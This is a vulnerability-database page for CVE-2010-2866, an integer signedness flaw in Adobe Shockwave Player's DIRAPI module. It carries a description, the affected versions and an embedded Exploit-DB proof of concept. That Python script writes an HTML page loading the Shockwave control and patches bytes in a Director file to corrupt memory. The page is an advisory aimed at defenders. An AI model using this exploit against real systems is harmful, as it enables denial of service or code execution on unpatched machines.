CVE-2010-2866

critical
Published 2010-08-26 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Integer signedness error in the DIRAPI module in Adobe Shockwave Player before 11.5.8.612 allows remote attackers to cause a denial of service (memory corruption) or execute arbitrary code via a count value associated with an "undocumented structure" and the tSAC chunk in a Director movie.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15076 dos windows verified python ยท 1 KB
Abysssec ยท 2010-09-22

Adobe Shockwave Director tSAC - Chunk Memory Corruption

python exploit Source: Exploit-DB
'''
 
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title               : Adobe Shockwave Director tSAC Chunk memory corruption
  Version             : dirapi.dll 11.5.7 
  Analysis            : http://www.abysssec.com
  Vendor              : http://www.adobe.com
  Impact              : Med/High
  Contact             : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             : @abysssec

http://www.exploit-db.com/moaub-22-adobe-shockwave-director-tsac-chunk-memory-corruption/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15076.zip (moaub-22-exploit.zip)

'''


import sys

temp =  """<!-- saved from url=(0013)about:internet -->

<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"
 codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"
 ID=wineglass>
	<param name=src value="poc.dir">
	<param name=PlayerVersion value=11>


</object>
"""
htmlTest = open('poc.html', 'wb')
htmlTest.write(temp)
htmlTest.close()

sampleFile = open('sample.dir','rb')
pocFile = open("poc.DIR",'wb')			
pocFile.write(sampleFile.read(-1))	
sampleFile.close()
pocFile.seek(13168)
pocFile.write("\xff\xff\xff\xff\x11\x11")
pocFile.close()			

Application impact

VendorProductVersionsFixed
adobe adobeshockwave_player{"endIncluding":"11.5.7.609"}
adobe adobeshockwave_player1.0
adobe adobeshockwave_player2.0
adobe adobeshockwave_player3.0
adobe adobeshockwave_player4.0
adobe adobeshockwave_player5.0
adobe adobeshockwave_player6.0
adobe adobeshockwave_player8.0
adobe adobeshockwave_player8.0.196
adobe adobeshockwave_player8.0.196a
adobe adobeshockwave_player8.0.204
adobe adobeshockwave_player8.0.205
adobe adobeshockwave_player8.5.1
adobe adobeshockwave_player8.5.1.100
adobe adobeshockwave_player8.5.1.103
adobe adobeshockwave_player8.5.1.105
adobe adobeshockwave_player8.5.1.106
adobe adobeshockwave_player8.5.321
adobe adobeshockwave_player8.5.323
adobe adobeshockwave_player8.5.324
adobe adobeshockwave_player8.5.325
adobe adobeshockwave_player9
adobe adobeshockwave_player9.0.383
adobe adobeshockwave_player9.0.432
adobe adobeshockwave_player10.0.0.210
adobe adobeshockwave_player10.0.1.004
adobe adobeshockwave_player10.1.0.11
adobe adobeshockwave_player10.1.0.011
adobe adobeshockwave_player10.1.1.016
adobe adobeshockwave_player10.1.4.020
adobe adobeshockwave_player10.2.0.021
adobe adobeshockwave_player10.2.0.022
adobe adobeshockwave_player10.2.0.023
adobe adobeshockwave_player11.0.0.456
adobe adobeshockwave_player11.0.3.471
adobe adobeshockwave_player11.5.0.595
adobe adobeshockwave_player11.5.0.596
adobe adobeshockwave_player11.5.1.601
adobe adobeshockwave_player11.5.2.602
adobe adobeshockwave_player11.5.6.606

References

CWEs

CWE-189

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.